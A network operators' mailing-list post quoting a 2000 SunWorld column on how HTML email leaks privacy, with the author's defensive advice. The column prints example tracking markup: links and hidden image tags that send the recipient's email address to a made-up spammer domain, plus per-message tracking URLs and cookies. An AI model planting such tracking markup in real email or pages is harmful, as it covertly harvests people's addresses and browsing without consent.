North American Network Operators Group Date Prev | Date Next | Date Index | Thread Index | Author Index | Historical Re: Read an email, lose your privacy
"Henry R. Linneweh" wrote: > http://www.sunworld.com/sunworldonline/swol-01-2000/swol-01-silicon.html With an excellent, and I think appropriate, quote from Sun CEO Scott McNealy at the top of the article. >while I hope Scott McNealy is using hyperbole when he says, "You >have zero privacy now. Get over it" (the PC Week "Quote of the >Week," Feb. 1, 1999), it's not at all clear that he is. I hardly think McNealy is exaggerating. Our privacy has been disappearing for years already. > Thank you; > |--------------------------------------------| > | Thinking is a learned process so is UNIX | > |--------------------------------------------| > Henry R. Linneweh > > --------------------------------------------------------------- > Advertisement: Support SunWorld, click here! > > Read an email, > lose your > privacy > > Email can be > spammer's weapon > in more ways > than one > > Summary > Assorted > cyberprivacy > organizations > are > asking > regulators > to fix > a > privacy > leak > in Web > browser > software. > Rich > Morin > tells > us why > leaks > are > only a > small > part > of the > problem. > (1,000 > words) > > ---------------- > > he > headline > shouted > "E-Mail > May Be Peril to > Privacy" from > the business > section's front > page in the San > Francisco > Chronicle. > Reading the > December 4 > article by > Associated Press > writer Kalpana > Srinivasan, I > was happy to see > the issue > getting some attention but hardly surprised to hear about yet another > privacy threat. David Brin, the author of The Transparent Society, > writes that a lack of privacy is inevitable. Although I don't agree > with everything he says, the odds look pretty good that Brin might be > right about this. > > And while I hope Scott McNealy is using hyperbole when he says, "You > have zero privacy now. Get over it" (the PC Week "Quote of the Week," > Feb. 1, 1999), it's not at all clear that he is. Every time I'm asked > to have my signature digitized for posterity during a credit card > purchase (which I refuse, as a matter of principle), I am reminded of > just how invasive our society has become. > > Hiding HTML links in email > Enough generalized paranoia, however. Let's look at some specific > threats. > > Most Web browsers hide the HTML portion of a link, showing only a > highlighted word or two. Many email clients, particularly those > embedded in Web browsers, perform this service as well. > > It is a useful feature, in most cases. After all, HTML code is both > bulky and mysterious; most email users have neither the expertise, > time, nor motivation to analyze every incoming bit of HTML. > Unfortunately, however, it can leave an unwary user open to privacy > attacks. > > Let's say I get a piece of spam from a porn site, containing includes > the following bit of HTML: > > <A HREF="http://www.smuttystuff.com">www.smuttystuff.com</A> > > No problem so far: www.smuttystuff.com is just a Website, so I should > be pretty anonymous visiting it. All the site will get from my visit, > in general, is an IP number or perhaps a domain name. The site can't > use either of those to send me more spam or identify me as a visitor. > > Unfortunately, URLs can contain other items, including parameters that > can be transmitted back to the site: > > <A HREF="http://[email protected]">www.smuttystuff.com</A> > > If I take the bait and visit the site, my email address, [email protected], > can be put on a hot list. Of course, the site managers had already > obtained my address from an existing list, but they didn't know I > would take the offered bait. Now they do. > > It gets worse. If I am using such a Web browser to handle my email, > even opening the email message may be enough to initiate a serious > loss of privacy. Many Web browsers are capable of enhancing email > messages with all sorts of (possibly invisible) images, retrieving > them when a message is opened from any specified URL. The spammer is > free to include an IMG tag that includes my email address in a > parameter, as follows: > > <IMG SRC="http://www.smuttystuff.com/[email protected]"> > > Wanna cookie? > The spammer now knows that I opened his message, but even that's not > the worst part. The Website can also return a cookie to my browser > containing my (possibly disguised) email address. This means that any > future visit I make to his site (or other, cooperating sites) can be > recorded and indexed to my email address. > > In short, my privacy will have been severely compromised by my email > software, without my knowledge or permission. For more information on > this specific kind of attack, see the Electronic Frontier Foundation's > press release or the technical report by security expert Richard M. > Smith (in Resources, below). > > Variations > These sorts of attacks can take many forms. For instance, it is quite > possible to eliminate the need for a parameter altogether. Let's say > the image request looks like this: > > <IMG SRC="http://www.smuttystuff.com/blonds/susie_q.jpg"> > > That seems pretty innocent, from a privacy perspective, but it might > not be. In one possible scenario, the spammer could generate a unique > URL for each outgoing email message, joining random names (susie, > tammy, ...) with random letters (q, r, and so on). As each piece of > email is sent, the spammer saves the outgoing email address in a > database, keyed by the unique portion (susie_q) of the URL. > > When the image request is received, a hidden CGI script > (http://www.smuttystuff.com/blonds) can record the request in the > database, send me an identifying cookie, and so on. In short, any > image request could be tagged. > > Finally, if I am foolish enough to click on an unknown URL, the > spammer doesn't need parameters or even "hidden" HTML: > > http://www.smuttystuff.com/blonds/susie_q.html > > The same logic applies: because the spammer knows whom he told about > susie_q, he knows who is asking to see the Web page. Welcome to > spamland, sucker. > > Conclusions > One moral of this story, like that of Ken Thompson's classic paper, > "Reflections on Trusting Trust" (see Resources), is that Trojan horses > can come in many guises, and one should not trust a stranger's > offerings, even if they contain no visible threats. > > Another moral is that convenient "features," made possible by > aggregating pieces of software (in this case, email and Web clients), > can lead to unexpected security holes. Microsoft is the most obvious > perpetrator here, but Netscape and others have contributed to the > situation. > > In an environment where random miscreants can send email to > unsuspecting victims, keeping a few barriers in place seems only > prudent. The spate of emailed "macro viruses" provides a clear example > of the reasons. > > Putting macros -- interpretable code -- into word processors and other > programs is clearly a powerful and useful idea. Having email software > start up a copy of the word processor, so you can read formatted mail, > is also quite convenient. Unfortunately, the combination means that > ill-wishers can run macros on a victim's machine merely by sending > email. > > I don't have any global solutions to offer, but I can offer some > advice: Don't use Web browsers or highly integrated systems, such as > Microsoft Outlook, as email clients; they're far too accommodating to > spammers. > > If you must use unsafe email software, try to use it in a conservative > manner. Turn off any automated features, such as automated program > invocation, that might allow others to take over your machine. Until > the vendors add some real security, the risks far outweigh any > possible convenience. > > Editor's note: The domain name Smuttystuff.com was not registered at > the time this article was published. Any similarity to an existing > domain name or Website is purely coincidental. [Image] > > About the author > Rich Morin operates Canta Forda Computer Laboratory, a > [Image]computer consulting firm specializing in open source > software. He lives in San Bruno, Calif., on the San Francisco > peninsula. > > Home | Next Story | Mail this Story | Printer-Friendly Version | > Comment on this Story | Resources and Related Links > > > > Advertisement: Support SunWorld, click here! > > [Image]Resources and Related Links > * The Transparent Society, David Brin (Perseus Books, 1999): > http://www.perseusbooks.com > * Prepublication version of Chapter 1: > http://crit.org/http://crit.org/openness/sourcedocs/BrinCh1.html > * "The Cookie Leak Security Hole in HTML Email Messages," Richard > M. Smith: > http://www.tiac.net/users/smiths/privacy/cookleak.htm > * Electronic Frontier Foundation press release: > http://www.eff.org/pub/Privacy/Profiling/19991202_joint_profiling_pressrel.html > * "Reflections on Trusting Trust," Ken Thompson (Communication of > the ACM, August 1984): > http://www.acm.org/classics/sep95 > > Additional SunWorld resources > > * Previous Silicon Carny columns in SunWorld: > http://www.sunworld.com/common/swol-backissues-columns.html#silicon > * The SunWorld Topical Index -- a comprehensive listing of all > SunWorld articles by subject: > http://www.sunworld.com/common/swol-siteindex.html > * Visit sunWHERE -- launchpad to hundreds of online resources for > Sun users: > http://www.sunworld.com/sunwhere.html > * Explore back issues of SunWorld: > http://www.sunworld.com/common/swol-backissues.html > * IDG.net, your one-stop IT resource: > http://www.idg.net > > [Image] Tell Us What You Thought of This Story > > -Very worth reading -Too long -Too technical > -Worth reading -Just right -Just right > -Not worth reading -Too short -Not technical enough > > > > > > [(c) Copyright 2000 Web Publishing Inc., and IDG Communication company] > > If you have technical problems with this magazine, contact > [email protected] > > URL: http://www.sunworld.com/swol-01-2000/swol-01-silicon.html > Last modified: Friday, January 07, 2000 -- North Shore Technologies Corporation - Steven J. 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